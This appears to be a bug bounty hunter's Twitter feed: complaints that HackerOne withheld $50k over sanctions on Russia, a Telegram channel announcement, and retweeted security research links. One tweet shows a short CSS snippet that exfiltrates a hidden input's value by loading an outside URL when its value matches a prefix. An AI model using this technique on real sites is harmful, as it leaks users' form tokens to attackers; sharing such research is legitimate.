skavans

Bug bounty hunter, programmer. Tweet about interesting cases from my own bughunting weekdays.

[skavans @ska_vans]

@Hacker0x01 @ngalongc @emgeekboy @fransrosen @jobertabma

[skavans @ska_vans]

How I stopped hunting on @Hacker0x01 after years because they stole my $50k.

#HackerOne #BugBounty

https://t.co/kLhBQsjCup

[skavans @ska_vans]

@hakluke

[skavans @ska_vans]

4) Actually yes, the money are "just frozen" till the sanctions end. BUT, AFAIK, there's no sanctions now restricting all payments to Russia. There are banks under sanctions, there are ones that not. And Google pays to these banks. But H1 doesn't.

[skavans @ska_vans]

Given all the above, anyone can make his own opinion about is it a theft or not and does H1 deserve working with.

[skavans @ska_vans]

So it make me think H1 just doesn't want to execute their part of a deal and they aren't going to support their "valuable researchers".

5) I've got NO reply from H1 regarding my questions since March. This tweet doesn't change anything too.

[skavans @ska_vans]

@yeswehack @Bugcrowd @GoogleVRP @fbsecurity Folks do any of you plan to continue working with Russian researchers in strict accordance with your policy and following just gov sanctions not your own ones?

[skavans @ska_vans]

Improving the impact of a mouse-related XSS with styling and CSS-gadgets https://t.co/VsJZIYSRxE

[skavans @ska_vans]

🇺🇸 Started a Telegram channel in English with my Bug bounty thoughts, tips and tricks.
https://t.co/VNnIhBIJSI

🇷🇺 Начал вести Telegram-канал на русском о своем опыте Bug Bounty
https://t.co/cOtDfKwnIx

[skavans @ska_vans]

@d0nutptr @SecurityMB @PortSwiggerRes

Guys I believe I found a way to simplify css exfiltration from hidden inputs in Chrome. You may be interested :)

[skavans @ska_vans]

It's interesting that CSS-exfiltration of "hidden input" value is possible if you make a browser think the input is not hidden.

<input type=hidden value=123>
<style>
input[value^="1"] {display: block; background-image: url(https://t.co/kb4IO5aWl4)}
</style>

Works in Chrome 👍

[Google VRP (Google Bug Hunters) @GoogleVRP]

To celebrate 10 years of @google's Vulnerability Rewards Programs, we are excited to announce the launch of our new platform: https://t.co/iBpWvPDcvl!

Learn more about the platform and enhancements to our VRP program here: https://t.co/cZmBCyt91c

[Max Yaremchuk @0xw2w]

Yay, I reached the top 100 on @Hacker0x01! :)

[/r/netsec @_r_netsec]

Attack of the clones: Git clients remote code execution https://t.co/4arfAHwY24

[Shashank | CredShields @cyberboyIndia]

From a 500 error to Django admin takeover. A bug worth 3000$

https://t.co/9bzAy2BNyq

#BugBounty

[PortSwigger Research @PortSwiggerRes]

We've added two new sections on content types to our XSS cheat sheet. They are useful when you can upload a file or control part of the content type header. Big thanks to @Black2Fan for the great research and @shafigullin for the request.

https://t.co/raX6Mju7V8

[Renzi 🇧🇷 @Renzi25031469]

“$25K Instagram Almost XSS Filter Link — Facebook Bug Bounty” por Andres Alonso https://t.co/NJNeJ4UiYj